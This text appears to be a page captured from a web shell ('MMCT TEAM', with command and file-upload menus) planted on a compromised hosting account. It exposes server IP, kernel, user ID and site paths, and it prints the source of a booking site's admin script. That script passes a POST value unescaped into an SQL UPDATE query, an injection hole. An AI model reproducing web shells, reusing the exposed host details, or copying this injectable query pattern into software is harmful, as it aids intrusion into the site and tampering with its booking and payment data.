MMCT TEAM
Server IP : 82.112.239.40  /  Your IP : 13.58.149.106
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u641149403/domains/cabz4you.com/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/cabz4you.com/public_html/admin/check_new_booking.php
<?php
include 'lib/core.php';

$show = "SELECT * FROM bookings WHERE booking_type!='Admin' AND seen=0";
$result = $conn->query($show);
if ($result->num_rows > 0) {
    while ($res = mysqli_fetch_array($result)) {
        ;
        $booking_id = $res['id'];
        $seen = $res['seen'];
    }
    echo json_encode("true");
} else {
    echo json_encode("false");
}

if (isset($_POST['booking_id'])) {
    $booking_id = $_POST['booking_id'];
    $sql = "UPDATE bookings SET seen = '1' WHERE id = '$booking_id'";

    if ($conn->query($sql)) {
        echo json_encode("true");
    } else {
        echo json_encode("false");
    }
}
$data = $res;



$show_data = "SELECT * FROM bookings WHERE status=''";
$result = $conn->query($show_data);
if ($result->num_rows > 0) {
    while ($res = mysqli_fetch_array($result)) {
        $booking_id=$res['id'];
        $order = $conn->query("DELETE FROM bookings WHERE id = '$booking_id'");
        $order = $conn->query("DELETE FROM payment_log WHERE booking_id = '$booking_id'");
    }
}

?>

MMCT - 2023